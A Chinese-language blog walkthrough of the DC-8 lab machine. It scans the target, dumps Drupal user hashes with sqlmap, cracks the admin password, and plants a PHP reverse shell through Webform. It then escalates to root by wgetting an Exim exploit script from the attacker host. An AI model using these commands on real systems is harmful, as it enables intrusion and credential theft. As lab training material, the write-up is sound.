DC-8-靶机实战:Drupal-渗透-SQL注入-Exim提权-信息收集

DC-8-靶机实战:Drupal-渗透-SQL注入-Exim提权-信息收集
28.7的博客DC-8 靶机渗透测试报告
其他靶机(附下载链接)
1. 信息收集
靶机下载
28.7的网盘DC-8靶机
sqlmap
1.1 ARP扫描获取靶机IP
通过ARP探测定位DC-8靶机的IP地址,执行以下命令:
1 | arp-scan -l |
扫描结果显示,DC-8靶机IP为 192.168.87.241
1.2 nmap端口扫描
对靶机IP执行端口扫描,探测开放服务:
1 | nmap 192.168.87.241 |
扫描结果显示靶机开放 22端口(SSH) 和 80端口(HTTP)
1.3 Web服务初探
访问80端口(http://192.168.87.241),发现靶机运行 Drupal CMS系统
2. SQL注入漏洞利用
2.1 漏洞探测
测试发现URL中的 nid 参数存在SQL注入漏洞(可通过参数构造触发异常响应)
2.2 数据库信息提取
使用sqlmap工具自动化挖掘数据库信息,步骤如下:
(1)爆当前数据库
1 | python sqlmap.py -u "http://192.168.87.241/?nid=1" --level=5 --risk=3 --batch --current-db |
结果:当前数据库为 d7db
(2)爆数据库表
1 | python sqlmap.py -u "http://192.168.87.241/?nid=1" --level=5 --risk=3 --batch -D "d7db" --tables |
发现关键表 users(存储用户账号密码)
(3)爆users表字段
1 | python sqlmap.py -u "http://192.168.87.241/?nid=1" --level=5 --risk=3 --batch -D d7db -T users --columns |
提取关键字段:name(用户名)、pass(密码Hash)、uid(用户ID)
(4)dump用户数据
1 | python sqlmap.py -u "http://192.168.87.241/?nid=1" --level=5 --risk=3 --batch -D d7db -T users -C name,pass,uid --dump |
获取用户数据:name=admin,pass=$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
2.3 Hash爆破
将获取的密码Hash存入 pass.txt 文件,使用john工具爆破:
1 | john pass.txt |
爆破结果:密码为 turtle
2.4 Web后台登录
访问Drupal后台登录页(http://192.168.87.164/user/login),使用账号 admin、密码 turtle 成功登录
3. 反弹Shell获取权限
3.1 SSH登录尝试
尝试使用admin账号密码登录22端口(SSH),登录失败
3.2 Webform漏洞利用(执行PHP代码)
根据Drupal功能提示,Webform模块支持配置自定义代码执行,利用步骤如下:
- 登录后台后,点击
Find content→ 编辑Contact us页面 - 选中
Webform选项卡,进入Form settings(表单设置) - 找到代码执行区域,写入PHP反弹Shell代码
3.3 写入反弹Shell
反弹Shell代码(攻击机IP:192.168.87.236,监听端口:6666):
1 | <p>Get flag</p> |
配置截图:
3.4 监听与获取Shell
(1)攻击机开启监听
在Kali攻击机上执行以下命令,监听6666端口:
1 | nc -lvp 6666 |
(2)触发Shell执行
返回靶机 Contact us 页面(前台),填写任意内容提交表单,触发PHP代码执行。
攻击机成功接收到反弹Shell。
(3)生成交互式Shell
为提升操作体验,执行以下命令生成标准交互式Shell:
1 | python -c 'import pty;pty.spawn("/bin/bash")' |
4. 提权操作(获取Root权限)
4.1 查找SUID文件
SUID文件可允许普通用户以root权限执行,执行以下命令查找系统中的SUID文件:
1 | find / -user root -perm -4000 -print 2>/dev/null |
发现关键文件 exim(邮件传输代理,带SUID权限)
4.2 确认Exim版本
执行以下命令查看Exim版本:
1 | exim --version |
版本为 Exim 4.89(存在本地提权漏洞,漏洞范围:Exim 4.87 - 4.91)
4.3 利用Exim提权漏洞
(1)获取漏洞Payload
漏洞Payload路径:/usr/share/exploitdb/exploits/linux/local/46996.sh(对应Exim 4.87-4.91本地提权)
(2)传输Payload到靶机
- 将Payload复制到攻击机Web根目录:
1
cp /usr/share/exploitdb/exploits/linux/local/46996.sh /var/www/html/hack.sh
- 靶机执行wget命令下载Payload(攻击机IP:192.168.87.236):
1
wget 192.168.87.236/hack.sh
(3)修正文件格式
Payload默认可能为DOS格式,需转为Unix格式(避免执行报错):
- 攻击机中用vim打开文件:
vim hack.sh - 执行格式转换命令:
set ff=unix(按Shift+:输入命令) - 保存退出:
:wq
(4)执行提权脚本
给Payload添加执行权限并执行:
1 | chmod +x hack.sh |
4.4 获取Root权限与Flag
提权成功后,重新生成交互式Shell:
1 | python -c 'import pty;pty.spawn("/bin/bash")' |
进入root目录,查看flag文件:
1 | cd /root |
Flag内容:
1 | Brilliant - you have succeeded!!! |
提权成功截图:
渗透总结
- 漏洞链:ARP扫描定位靶机 → nmap探测端口 → Drupal SQL注入获取账号 → Webform执行PHP反弹Shell → Exim SUID提权获取Root
- 关键漏洞:Drupal nid参数SQL注入、Webform代码执行、Exim 4.89本地提权漏洞
- 核心技巧:SUID文件枚举、漏洞Payload格式修正、交互式Shell生成















